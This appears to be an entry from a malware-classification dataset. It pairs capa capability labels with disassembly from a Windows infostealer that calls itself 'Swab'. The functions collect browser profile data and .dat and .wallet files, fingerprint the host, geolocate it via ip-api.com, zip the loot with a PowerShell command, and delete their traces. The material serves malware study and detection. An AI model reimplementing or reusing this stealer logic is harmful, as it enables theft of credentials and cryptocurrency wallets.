joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140001120
Capabilities:
Create directory

Disassembly:
mov r11, rsp
sub rsp, 0x78
mov qword [r11 + 0x10], rbp
lea rax, str.C:Users_adminAppDataLocalGoogleChromeUser_Data
mov qword [r11 - 0x58], rax
lea rax, str.C:Users_adminAppDataLocalMail.RuAtomUser_Data
mov qword [r11 - 0x50], rax
lea rax, str.C:Users_adminAppDataLocalMicrosoftEdgeUser_Data
mov qword [r11 + 0x18], rsi
mov rsi, rcx
mov qword [r11 - 0x48], rax
lea rax, str.C:Users_adminAppDataLocalVivaldiUser_Data
mov qword [r11 - 0x40], rax
lea rax, str.GoogleChrome_browser
mov qword [r11 - 8], r12
mov qword [r11 - 0x10], r14
xor r14d, r14d
mov qword [r11 - 0x38], rax
mov ebp, r14d
lea rax, str.Atom_browser
mov qword [r11 - 0x18], r15
mov qword [r11 - 0x30], rax
lea rax, str.MicrosoftEdge_browser
mov qword [r11 - 0x28], rax
lea rax, str.Vivaldi_browser
mov qword [r11 + 8], rbx
mov qword [r11 - 0x20], rax
mov qword [r11 + 0x20], rdi
nop dword [rax]
nop dword [rax + rax]
mov r12, qword [rsp + rbp + 0x20]
mov rcx, r12
call fcn.140002750
mov r15, rax
test rax, rax
je 0x14000123b
mov rcx, 0xffffffffffffffff
nop dword [rax]
inc rcx
cmp byte [rsi + rcx], 0
jne 0x1400011d0
add rcx, 0xa
call sub.api_ms_win_crt_heap_l1_1_0.dll_malloc
mov ecx, 4
mov rdi, rax
call sub.api_ms_win_crt_heap_l1_1_0.dll_malloc
mov r8, rsi
lea rdx, str._sBrowsers
mov rcx, rdi
mov rbx, rax
call fcn.140002960
mov rcx, rdi
call sub.api_ms_win_crt_filesystem_l1_1_0.dll__mkdir
mov rcx, rdi
call sub.api_ms_win_crt_filesystem_l1_1_0.dll__mkdir
mov dword [rbx], eax
call sub.api_ms_win_crt_runtime_l1_1_0.dll__errno
mov rcx, qword [rsp + rbp + 0x40]
mov r8, rdi
mov rdx, r12
call fcn.140001290
mov rcx, rbx
call sub.api_ms_win_crt_heap_l1_1_0.dll_free
mov rcx, rdi
call sub.api_ms_win_crt_heap_l1_1_0.dll_free
mov rcx, r15
call fcn.1400022a0
inc r14d
add rbp, 8
cmp r14d, 4
jb 0x1400011b0
mov r15, qword [rsp + 0x60]
xor eax, eax
mov r14, qword [rsp + 0x68]
mov r12, qword [rsp + 0x70]
mov rdi, qword [rsp + 0x98]
mov rsi, qword [rsp + 0x90]
mov rbp, qword [rsp + 0x88]
mov rbx, qword [rsp + 0x80]
add rsp, 0x78
ret
Function at 0x1400029c0
Capabilities:
Execute command

Disassembly:
sub rsp, 0x1a8
lea r8, [rsp + 0x120]
mov r9, rcx
sub r8, rcx
mov rdx, rcx
nop dword [rax + rax]
movzx eax, byte [rdx]
mov byte [r8 + rdx], al
lea rdx, [rdx + 1]
test al, al
jne 0x1400029e0
lea rcx, [rsp + 0x120]
dec rcx
nop word [rax + rax]
cmp byte [rcx + 1], 0
lea rcx, [rcx + 1]
jne 0x140002a00
mov eax, dword [str..zip]
movups xmm0, xmmword [str.powershell__Command__Compress_Archive__Path]
mov dword [rcx], eax
movzx eax, byte [0x14012df10]
movups xmm1, xmmword [0x14012df28]
mov byte [rcx + 4], al
lea rcx, [rsp + 0x20]
mov eax, dword [0x14012df40]
dec rcx
mov dword [rsp + 0x48], eax
movzx eax, byte [0x14012df44]
movaps xmmword [rsp + 0x20], xmm0
movsd xmm0, qword [0x14012df38]
mov byte [rsp + 0x4c], al
movaps xmmword [rsp + 0x30], xmm1
movsd qword [rsp + 0x40], xmm0
nop
cmp byte [rcx + 1], 0
lea rcx, [rcx + 1]
jne 0x140002a60
xor edx, edx
nop dword [rax]
movzx eax, byte [r9 + rdx]
mov byte [rcx + rdx], al
lea rdx, [rdx + 1]
test al, al
jne 0x140002a70
lea rcx, [rsp + 0x20]
dec rcx
nop dword [rax + rax]
cmp byte [rcx + 1], 0
lea rcx, [rcx + 1]
jne 0x140002a90
movzx eax, word [0x14012df58]
movups xmm0, xmmword [str.__DestinationPath]
movups xmmword [rcx], xmm0
mov word [rcx + 0x10], ax
movzx eax, byte [0x14012df5a]
mov byte [rcx + 0x12], al
lea rax, [rsp + 0x20]
dec rax
cmp byte [rax + 1], 0
lea rax, [rax + 1]
jne 0x140002ac1
lea r8, [rsp + 0x120]
xor edx, edx
nop word [rax + rax]
movzx ecx, byte [r8 + rdx]
mov byte [rax + rdx], cl
lea rdx, [rdx + 1]
test cl, cl
jne 0x140002ae0
lea rcx, [rsp + 0x20]
dec rcx
nop dword [rax + rax]
cmp byte [rcx + 1], 0
lea rcx, [rcx + 1]
jne 0x140002b00
movups xmm0, xmmword [str.__CompressionLevel_Fastest_]
mov eax, dword [0x14012df78]
movups xmmword [rcx], xmm0
movsd xmm0, qword [0x14012df70]
movsd qword [rcx + 0x10], xmm0
mov dword [rcx + 0x18], eax
lea rcx, [rsp + 0x20]
call sub.api_ms_win_crt_runtime_l1_1_0.dll_system
xor eax, eax
add rsp, 0x1a8
ret

Function at 0x140002b40
Capabilities:
Get hostname

Disassembly:
mov qword [rsp + 0x10], rbx
push rdi
sub rsp, 0x120
mov ecx, 0x100
call sub.api_ms_win_crt_heap_l1_1_0.dll_malloc
mov rdi, rax
mov dword [rsp + 0x130], 0x100
lea rax, [rsp + 0x20]
mov rbx, rdi
lea r8, [rsp + 0x130]
mov ecx, 5
lea rdx, [rsp + 0x20]
sub rbx, rax
call qword [sym.imp.KERNEL32.dll_GetComputerNameExA]
test eax, eax
jne 0x140002ba1
lea rcx, [rsp + 0x20]
movzx eax, byte [rcx]
mov byte [rbx + rcx], al
lea rcx, [rcx + 1]
test al, al
jne 0x140002b91
jmp 0x140002bbe
lea rax, [rsp + 0x20]
nop word [rax + rax]
movzx ecx, byte [rax]
mov byte [rbx + rax], cl
lea rax, [rax + 1]
test cl, cl
jne 0x140002bb0
mov rbx, qword [rsp + 0x138]
mov rax, rdi
add rsp, 0x120
pop rdi
ret
Function at 0x140002d60
Capabilities:
Get cpu information
Query or enumerate registry value

Disassembly:
push rbx
sub rsp, 0x80
mov ecx, 0x80
call sub.api_ms_win_crt_heap_l1_1_0.dll_malloc
mov rbx, rax
lea rdx, str.HARDWAREDESCRIPTIONSystemCentralProcessor0
lea rax, [rsp + 0x98]
mov r9d, 0x20019
xor r8d, r8d
mov qword [rsp + 0x20], rax
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x140002e38
mov rcx, qword [rsp + 0x98]
lea rax, [rsp + 0x90]
mov qword [rsp + 0x30], rax
lea r8, str.ProcessorNameString
lea rax, [rsp + 0x40]
mov dword [rsp + 0x90], 0x40
mov qword [rsp + 0x28], rax
mov r9d, 2
xor edx, edx
mov qword [rsp + 0x20], 0
call qword [sym.imp.ADVAPI32.dll_RegGetValueA]
test eax, eax
jne 0x140002e1e
lea rcx, [rsp + 0x40]
mov rdx, rbx
sub rdx, rcx
lea rax, [rsp + 0x40]
nop dword [rax]
nop dword [rax + rax]
movzx ecx, byte [rax]
mov byte [rdx + rax], cl
lea rax, [rax + 1]
test cl, cl
jne 0x140002e10
mov rcx, qword [rsp + 0x98]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov rax, rbx
add rsp, 0x80
pop rbx
ret
movabs rax, 0x6e776f6e6b6e55
mov qword [rbx], rax
mov rax, rbx
add rsp, 0x80
pop rbx
ret

Function at 0x140002e60
Capabilities:
Get memory capacity

Disassembly:
sub rsp, 0x68
lea rcx, [rsp + 0x20]
mov dword [rsp + 0x20], 0x40
call qword [sym.imp.KERNEL32.dll_GlobalMemoryStatusEx]
mov rax, qword [rsp + 0x28]
shr rax, 0x14
add rsp, 0x68
ret

Function at 0x140002e90
Capabilities:
Get disk information

Disassembly:
sub rsp, 0x48
xor eax, eax
lea r9, [rsp + 0x50]
mov dword [rsp + 0x38], eax
lea rcx, [0x14012e030]
mov qword [rsp + 0x30], rax
xor r8d, r8d
mov qword [rsp + 0x28], rax
xor edx, edx
mov qword [rsp + 0x20], rax
call qword [sym.imp.KERNEL32.dll_GetVolumeInformationA]
mov eax, dword [rsp + 0x50]
add rsp, 0x48
ret
Function at 0x140002ed0
Capabilities:
Query or enumerate registry key
Query or enumerate registry value

Disassembly:
push rbx
push rbp
push rdi
sub rsp, 0xb80
mov ecx, 0x100
call sub.api_ms_win_crt_heap_l1_1_0.dll_malloc
mov rdi, rax
lea rdx, str.SYSTEMCurrentControlSetControlClass4d36e968_e325_11ce_bfc1_08002be10318
lea rax, [rsp + 0xba8]
xor ebp, ebp
mov r9d, 0x20019
mov qword [rsp + 0x20], rax
xor r8d, r8d
mov rcx, 0xffffffff80000002
mov ebx, ebp
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x1400030c3
mov byte [rdi], bl
lea r8, [rsp + 0x80]
mov rcx, qword [rsp + 0xba8]
mov r9d, 0x100
mov qword [rsp + 0xbb8], rsi
xor edx, edx
mov esi, ebp
mov byte [rsp + 0x180], bl
call qword [sym.imp.ADVAPI32.dll_RegEnumKeyA]
test eax, eax
jne 0x140003044
nop word [rax + rax]
mov rcx, qword [rsp + 0xba8]
lea rax, [rsp + 0xbb0]
mov r9d, 0x20019
mov qword [rsp + 0x20], rax
xor r8d, r8d
lea rdx, [rsp + 0x80]
inc esi
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x14000301e
mov rcx, qword [rsp + 0xbb0]
lea rax, [rsp + 0xba0]
mov qword [rsp + 0x30], rax
lea r8, str.DriverDesc
lea rax, [rsp + 0x40]
mov dword [rsp + 0xba0], 0x40
mov qword [rsp + 0x28], rax
mov r9d, 2
xor edx, edx
mov qword [rsp + 0x20], rbp
call qword [sym.imp.ADVAPI32.dll_RegGetValueA]
test eax, eax
jne 0x140003010
lea rdx, [rsp + 0x40]
movsxd rax, ebx
shl rax, 8
lea rcx, [rsp + 0x40]
sub rax, rdx
lea rdx, [rsp + 0x180]
add rdx, rax
nop dword [rax]
movzx eax, byte [rcx]
mov byte [rdx + rcx], al
lea rcx, [rcx + 1]
test al, al
jne 0x140003000
inc ebx
mov rcx, qword [rsp + 0xbb0]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov rcx, qword [rsp + 0xba8]
lea r8, [rsp + 0x80]
mov r9d, 0x100
mov edx, esi
call qword [sym.imp.ADVAPI32.dll_RegEnumKeyA]
test eax, eax
je 0x140002f60
mov rcx, qword [rsp + 0xba8]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov rsi, qword [rsp + 0xbb8]
test ebx, ebx
jle 0x1400030d0
lea r8, [rsp + 0x180]
mov r9d, ebx
nop dword [rax]
lea rax, [rdi - 1]
cmp byte [rax + 1], bpl
lea rax, [rax + 1]
jne 0x140003074
xor edx, edx
movzx ecx, byte [r8 + rdx]
mov byte [rax + rdx], cl
lea rdx, [rdx + 1]
test cl, cl
jne 0x140003080
lea rcx, [rdi - 1]
cmp byte [rcx + 1], bpl
lea rcx, [rcx + 1]
jne 0x140003094
movzx eax, word [0x14012e02c]
add r8, 0x100
mov word [rcx], ax
sub r9, 1
jne 0x140003070
mov rax, rdi
add rsp, 0xb80
pop rdi
pop rbp
pop rbx
ret
movabs rax, 0x6e776f6e6b6e55
mov qword [rdi], rax
mov rax, rdi
add rsp, 0xb80
pop rdi
pop rbp
pop rbx
ret
Function at 0x140003a60
Capabilities:
Connect socket
Get socket status
Initialize winsock library
Receive data
Receive data on socket
Resolve dns
Send data
Send data on socket
Send http request
Send http request with host header
Set socket configuration

Disassembly:
mov eax, 0x1468
call fcn.140006220
sub rsp, rax
mov ecx, 0x202
lea rdx, [rsp + 0x2c0]
call qword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
jne 0x140003caf
mov qword [rsp + 0x1480], rbx
lea edx, [rax + 1]
mov qword [rsp + 0x1460], rdi
xor r8d, r8d
mov edi, 2
mov ecx, edi
call qword [sym.imp.WS2_32.dll_socket]
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x140003ca2
lea rcx, str.ip_api.com
call qword [sym.imp.WS2_32.dll_gethostbyname]
test rax, rax
je 0x140003c99
mov rax, qword [rax + 0x18]
mov rcx, qword [rax]
mov eax, dword [rcx]
lea ecx, [rdi + 0x4e]
mov dword [rsp + 0x34], eax
mov word [rsp + 0x30], di
call qword [sym.imp.WS2_32.dll_htons]
lea r8d, [rdi + 0xe]
mov rcx, rbx
lea rdx, [rsp + 0x30]
mov word [rsp + 0x32], ax
call qword [sym.imp.WS2_32.dll_connect]
test eax, eax
js 0x140003c99
lea r8, str.ip_api.com
lea rdx, str.GET__line__fields41972223_HTTP_1.1_r_nHost:__s_r_n_r_n
lea rcx, [rsp + 0x40]
call fcn.140002960
lea r8, [rsp + 0x1470]
mov dword [rsp + 0x1470], 1
mov edx, 0x8004667e
mov rcx, rbx
call qword [sym.imp.WS2_32.dll_ioctlsocket]
lea rax, [rsp + 0x40]
mov r8, 0xffffffffffffffff
nop dword [rax]
inc r8
cmp byte [rax + r8], 0
jne 0x140003b50
xor r9d, r9d
lea rdx, [rsp + 0x40]
mov rcx, rbx
call qword [sym.imp.WS2_32.dll_send]
test eax, eax
js 0x140003c99
mov qword [rsp + 0x1488], rsi
xor esi, esi
mov edi, esi
mov qword [rsp + 0x1478], 5
nop dword [rax + rax]
lea rax, [rsp + 0x1478]
mov qword [rsp + 0xb8], rbx
xor r9d, r9d
mov qword [rsp + 0x20], rax
xor r8d, r8d
mov dword [rsp + 0xb0], 1
lea rdx, [rsp + 0xb0]
xor ecx, ecx
call qword [sym.imp.WS2_32.dll_select]
inc eax
cmp eax, 1
jbe 0x140003c32
lea rdx, [rsp + 0xb0]
mov rcx, rbx
call sub.WS2_32.dll___WSAFDIsSet
test eax, eax
je 0x140003b90
mov r8d, 0xfff
movsxd rax, edi
lea rdx, [rsp + 0x460]
sub r8d, edi
add rdx, rax
xor r9d, r9d
mov rcx, rbx
call qword [sym.imp.WS2_32.dll_recv]
test eax, eax
jle 0x140003c32
add edi, eax
lea rdx, str._r_n_r_n
movsxd rax, edi
lea rcx, [rsp + 0x460]
mov byte [rsp + rax + 0x460], sil
call sub.VCRUNTIME140.dll_strstr
test rax, rax
je 0x140003b90
mov rcx, rbx
call qword [sym.imp.WS2_32.dll_closesocket]
call qword [sym.imp.WS2_32.dll_WSACleanup]
lea rcx, [rsp + 0x460]
call fcn.140004020
mov r8d, eax
mov edx, esi
mov ecx, esi
mov eax, 0x328
cmp r8d, eax
setne dl
test r8d, r8d
setne cl
test ecx, edx
je 0x140003c8f
mov eax, 0xffffffff
mov rsi, qword [rsp + 0x1488]
mov rbx, qword [rsp + 0x1480]
mov rdi, qword [rsp + 0x1460]
add rsp, 0x1468
ret
cmp r8d, eax
cmove esi, eax
mov eax, esi
jmp 0x140003c6f
mov rcx, rbx
call qword [sym.imp.WS2_32.dll_closesocket]
call qword [sym.imp.WS2_32.dll_WSACleanup]
mov eax, 0x328
jmp 0x140003c77
mov eax, 0x328
add rsp, 0x1468
ret
Function at 0x1400043b0
Capabilities:
Copy file
Create directory
Enumerate files on windows
Enumerate files recursively

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x390
mov rdi, rdx
lea r8, str._s
mov rsi, rcx
mov r9, rcx
mov edx, 0x104
lea rcx, [rsp + 0x170]
call fcn.140004bb0
lea rdx, [rsp + 0x30]
lea rcx, [rsp + 0x170]
call qword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x140004509
mov rcx, rdi
call sub.api_ms_win_crt_filesystem_l1_1_0.dll__mkdir
nop dword [rax]
movzx edx, byte [rsp + 0x5c]
movzx ecx, byte [rsp + 0x5d]
cmp dl, 0x2e
jne 0x14000443a
test cl, cl
je 0x1400044e6
cmp dl, dl
jne 0x14000443a
cmp cl, dl
jne 0x14000443a
cmp byte [rsp + 0x5e], 0
je 0x1400044e6
lea rax, [rsp + 0x5c]
mov r9, rsi
lea r8, [0x14012dc14]
mov qword [rsp + 0x20], rax
mov edx, 0x104
lea rcx, [rsp + 0x170]
call fcn.140004bb0
lea rax, [rsp + 0x5c]
mov r9, rdi
lea r8, [0x14012dc14]
mov qword [rsp + 0x20], rax
mov edx, 0x104
lea rcx, [rsp + 0x280]
call fcn.140004bb0
test byte [rsp + 0x30], 0x10
je 0x1400044b4
xor edx, edx
lea rcx, [rsp + 0x280]
call qword [sym.imp.KERNEL32.dll_CreateDirectoryA]
lea rdx, [rsp + 0x280]
lea rcx, [rsp + 0x170]
call fcn.1400043b0
jmp 0x1400044e6
lea rdx, str..dat
lea rcx, [rsp + 0x170]
call sub.VCRUNTIME140.dll_strstr
test rax, rax
je 0x1400044e6
xor r8d, r8d
lea rdx, [rsp + 0x280]
lea rcx, [rsp + 0x170]
call qword [sym.imp.KERNEL32.dll_CopyFileA]
lea rdx, [rsp + 0x30]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x140004410
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FindClose]
xor eax, eax
jmp 0x14000450e
mov eax, 1
lea r11, [rsp + 0x390]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rsp, r11
pop rdi
ret

Function at 0x140004530
Capabilities:
Execute command

Disassembly:
sub rsp, 0x138
mov qword [rsp + 0x20], rdx
lea r8, str.copy___s____s_
mov r9, rcx
mov edx, 0x100
lea rcx, [rsp + 0x30]
call fcn.140004b50
lea rcx, [rsp + 0x30]
call sub.api_ms_win_crt_runtime_l1_1_0.dll_system
xor eax, eax
add rsp, 0x138
ret
Function at 0x140004570
Capabilities:
Copy file
Create directory
Enumerate files on windows
Enumerate files recursively

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x390
mov rdi, rdx
lea r8, str._s
mov rsi, rcx
mov r9, rcx
mov edx, 0x104
lea rcx, [rsp + 0x170]
call fcn.140004bb0
lea rdx, [rsp + 0x30]
lea rcx, [rsp + 0x170]
call qword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x1400046b4
nop dword [rax]
nop dword [rax + rax]
movzx edx, byte [rsp + 0x5c]
movzx ecx, byte [rsp + 0x5d]
cmp dl, 0x2e
jne 0x1400045fa
test cl, cl
je 0x140004695
cmp dl, dl
jne 0x1400045fa
cmp cl, dl
jne 0x1400045fa
cmp byte [rsp + 0x5e], 0
je 0x140004695
lea rax, [rsp + 0x5c]
mov r9, rsi
lea r8, [0x14012dc14]
mov qword [rsp + 0x20], rax
mov edx, 0x104
lea rcx, [rsp + 0x170]
call fcn.140004bb0
lea rax, [rsp + 0x5c]
mov r9, rdi
lea r8, [0x14012dc14]
mov qword [rsp + 0x20], rax
mov edx, 0x104
lea rcx, [rsp + 0x280]
call fcn.140004bb0
mov rcx, rdi
call sub.api_ms_win_crt_filesystem_l1_1_0.dll__mkdir
test byte [rsp + 0x30], 0x10
je 0x14000467c
xor edx, edx
lea rcx, [rsp + 0x280]
call qword [sym.imp.KERNEL32.dll_CreateDirectoryA]
lea rdx, [rsp + 0x280]
lea rcx, [rsp + 0x170]
call fcn.140004570
jmp 0x140004695
xor r8d, r8d
lea rdx, [rsp + 0x280]
lea rcx, [rsp + 0x170]
call qword [sym.imp.KERNEL32.dll_CopyFileA]
lea rdx, [rsp + 0x30]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x1400045d0
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FindClose]
lea r11, [rsp + 0x390]
xor eax, eax
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rsp, r11
pop rdi
ret

Function at 0x1400046d0
Capabilities:
Execute command

Disassembly:
sub rsp, 0x138
mov qword [rsp + 0x20], rdx
lea r8, str.xcopy___s____s___C__q__i
mov r9, rcx
mov edx, 0x100
lea rcx, [rsp + 0x30]
call fcn.140004b50
lea rcx, [rsp + 0x30]
call sub.api_ms_win_crt_runtime_l1_1_0.dll_system
xor eax, eax
add rsp, 0x138
ret
Function at 0x140004710
Capabilities:
Copy file
Create directory
Enumerate files on windows
Enumerate files recursively

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x390
mov rdi, rdx
lea r8, str._s
mov rsi, rcx
mov r9, rcx
mov edx, 0x104
lea rcx, [rsp + 0x170]
call fcn.140004bb0
lea rdx, [rsp + 0x30]
lea rcx, [rsp + 0x170]
call qword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x140004865
mov rcx, rdi
call sub.api_ms_win_crt_filesystem_l1_1_0.dll__mkdir
nop dword [rax]
movzx edx, byte [rsp + 0x5c]
movzx ecx, byte [rsp + 0x5d]
cmp dl, 0x2e
jne 0x14000479a
test cl, cl
je 0x140004846
cmp dl, dl
jne 0x14000479a
cmp cl, dl
jne 0x14000479a
cmp byte [rsp + 0x5e], 0
je 0x140004846
lea rax, [rsp + 0x5c]
mov r9, rsi
lea r8, [0x14012dc14]
mov qword [rsp + 0x20], rax
mov edx, 0x104
lea rcx, [rsp + 0x170]
call fcn.140004bb0
lea rax, [rsp + 0x5c]
mov r9, rdi
lea r8, [0x14012dc14]
mov qword [rsp + 0x20], rax
mov edx, 0x104
lea rcx, [rsp + 0x280]
call fcn.140004bb0
test byte [rsp + 0x30], 0x10
je 0x140004814
xor edx, edx
lea rcx, [rsp + 0x280]
call qword [sym.imp.KERNEL32.dll_CreateDirectoryA]
lea rdx, [rsp + 0x280]
lea rcx, [rsp + 0x170]
call fcn.140004710
jmp 0x140004846
lea rdx, str..wallet
lea rcx, [rsp + 0x170]
call sub.VCRUNTIME140.dll_strstr
test rax, rax
je 0x140004846
xor r8d, r8d
lea rdx, [rsp + 0x280]
lea rcx, [rsp + 0x170]
call qword [sym.imp.KERNEL32.dll_CopyFileA]
lea rdx, [rsp + 0x30]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x140004770
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FindClose]
lea r11, [rsp + 0x390]
xor eax, eax
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rsp, r11
pop rdi
ret
Function at 0x140004910
Capabilities:
Delete directory
Delete file

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], rbp
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x160
mov rbp, rcx
call fcn.140002750
mov rbx, rax
mov qword [rsp + 0x190], rsi
xor r14d, r14d
mov r15d, 0x4000
mov r12d, 0x128
mov r13d, 0xf000
mov rcx, qword [rbx + 0x128]
call fcn.140004880
mov rdi, rax
test rax, rax
je 0x140004ab3
lea r9, [rax + 0x2c]
mov qword [rsp + 0x20], 0x105
mov r8d, 0x105
lea rdx, [rbx + 0x1c]
lea rcx, [rsp + 0x198]
call sub.api_ms_win_crt_convert_l1_1_0.dll_wcstombs_s
test eax, eax
je 0x1400049c3
lea r9, [rdi + 0x234]
cmp word [r9], r14w
je 0x1400049bf
mov r8d, 0x105
mov qword [rsp + 0x20], 0x105
lea rdx, [rbx + 0x1c]
lea rcx, [rsp + 0x198]
call sub.api_ms_win_crt_convert_l1_1_0.dll_wcstombs_s
test eax, eax
jne 0x1400049ff
mov rax, qword [rsp + 0x198]
dec rax
mov qword [rbx + 0x10], rax
mov eax, dword [rdi]
test al, 0x40
je 0x1400049e8
mov dword [rbx + 0x18], 0x2000
movzx ecx, r12w
mov eax, r14d
jmp 0x140004a19
test al, 0x10
movzx ecx, r12w
mov eax, 0x8000
cmovne eax, r15d
mov dword [rbx + 0x18], eax
mov eax, r14d
jmp 0x140004a19
mov word [rbx + 0x1c], 0x3f
mov ecx, r14d
mov qword [rbx + 0x10], 1
mov eax, 0xffffffff
mov dword [rbx + 0x18], r14d
mov dword [rbx], r14d
mov dword [rbx + 4], eax
mov word [rbx + 8], cx
test rbx, rbx
je 0x140004ab3
cmp byte [rbx + 0x1c], 0x2e
lea rax, [rbx + 0x1c]
jne 0x140004a55
cmp byte [rax + 1], r14b
je 0x140004952
cmp byte [rax], 0x2e
jne 0x140004a55
cmp byte [rax + 1], 0x2e
jne 0x140004a55
cmp byte [rax + 2], r14b
je 0x140004952
mov r9, rbp
mov qword [rsp + 0x20], rax
lea r8, [0x14012ee2c]
mov edx, 0x100
lea rcx, [rsp + 0x60]
call fcn.140004b50
lea rdx, [rsp + 0x30]
lea rcx, [rsp + 0x60]
call sub.api_ms_win_crt_filesystem_l1_1_0.dll__stat64i32
cmp eax, 0xffffffff
je 0x140004b20
movzx eax, word [rsp + 0x36]
lea rcx, [rsp + 0x60]
and ax, r13w
cmp ax, r15w
jne 0x140004aa9
call fcn.140004910
jmp 0x140004952
call sub.api_ms_win_crt_filesystem_l1_1_0.dll_remove
jmp 0x140004952
mov rdi, qword [rbx + 0x128]
test rdi, rdi
je 0x140004aff
mov rcx, qword [rdi + 0x480]
cmp rcx, 0xffffffffffffffff
je 0x140004add
call qword [sym.imp.KERNEL32.dll_FindClose]
mov qword [rdi + 0x480], 0xffffffffffffffff
mov rcx, qword [rdi + 0x488]
test rcx, rcx
je 0x140004af5
call sub.api_ms_win_crt_heap_l1_1_0.dll_free
mov qword [rdi + 0x488], r14
mov rcx, rdi
call sub.api_ms_win_crt_heap_l1_1_0.dll_free
jmp 0x140004b09
mov ecx, 9
call sub.api_ms_win_crt_runtime_l1_1_0.dll__set_errno
mov rcx, rbx
mov qword [rbx + 0x128], r14
call sub.api_ms_win_crt_heap_l1_1_0.dll_free
mov rcx, rbp
call sub.api_ms_win_crt_filesystem_l1_1_0.dll__rmdir
mov rsi, qword [rsp + 0x190]
lea r11, [rsp + 0x160]
mov rbx, qword [r11 + 0x40]
mov rbp, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rdi
ret
Function at 0x1400052e0
Capabilities:
Execute command
Self delete

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x20
mov rdi, rcx
lea rcx, str.____n_n_n_t_t_t_Swab__Swabber_module_has_been_called_n_n
call fcn.140005280
mov rcx, rdi
call fcn.140004910
mov rdx, rdi
lea rcx, str._____Swab___1.1__Dump_Folder_has_been_Removed___s.rar__n_n
call fcn.140005280
mov ecx, 0x80
call sub.api_ms_win_crt_heap_l1_1_0.dll_malloc
mov r8, rdi
lea rdx, str.del___s.zip_
mov rcx, rax
mov rbx, rax
call fcn.140002960
mov rdx, rdi
lea rcx, str._____Swab___1.1__Dump_Archive_has_been_Removed___s__n_n
call fcn.140005280
mov rcx, rbx
call sub.api_ms_win_crt_runtime_l1_1_0.dll_system
mov rcx, rbx
call sub.api_ms_win_crt_heap_l1_1_0.dll_free
mov rbx, qword [rsp + 0x30]
xor eax, eax
add rsp, 0x20
pop rdi
ret
Function at 0x1400069ac
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x1400069f6
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x1400069f6
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x1400069f6
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x1400069f6
cmp dword [rcx + 0x84], 0xe
jbe 0x1400069f6
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x1400069f8
xor al, al
add rsp, 0x28
ret
Function at 0x14001e260
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push r14
sub rsp, 0x30
cmp byte [rcx + 0xaa8], 0
mov rbp, r9
mov r14, r8
movsxd rsi, edx
mov rdi, rcx
je 0x14001e329
cmp qword [rcx + 0x260], 0
je 0x14001e2de
mov qword [rsp + 0x40], rbx
call fcn.14000ebf0
mov dl, 1
mov rcx, rdi
movzx ebx, al
call fcn.14000ef40
mov rcx, qword [rdi + 0x1d8]
mov r9, rbp
mov qword [rsp + 0x20], rcx
mov r8, r14
mov rcx, rdi
mov edx, esi
call qword [rdi + 0x260]
movzx edx, bl
mov rcx, rdi
call fcn.14000ef40
mov rbx, qword [rsp + 0x40]
jmp 0x14001e329
mov ecx, esi
test edx, edx
je 0x14001e2ee
sub ecx, 1
je 0x14001e2ee
cmp ecx, 1
jne 0x14001e329
mov r9, qword [rdi + 0x1d0]
lea rax, [0x140133c20]
mov edx, 2
lea rcx, [rsi + rsi*2]
add rcx, rax
lea r8d, [rdx - 1]
call sub.api_ms_win_crt_stdio_l1_1_0.dll_fwrite
mov r9, qword [rdi + 0x1d0]
mov r8d, 1
mov rdx, rbp
mov rcx, r14
call sub.api_ms_win_crt_stdio_l1_1_0.dll_fwrite
mov rbp, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
mov rdi, qword [rsp + 0x58]
add rsp, 0x30
pop r14
ret

Function at 0x140020140
Capabilities:
Read file on windows

Disassembly:
sub rsp, 0x28
call sub.api_ms_win_crt_stdio_l1_1_0.dll__read
cdqe
add rsp, 0x28
ret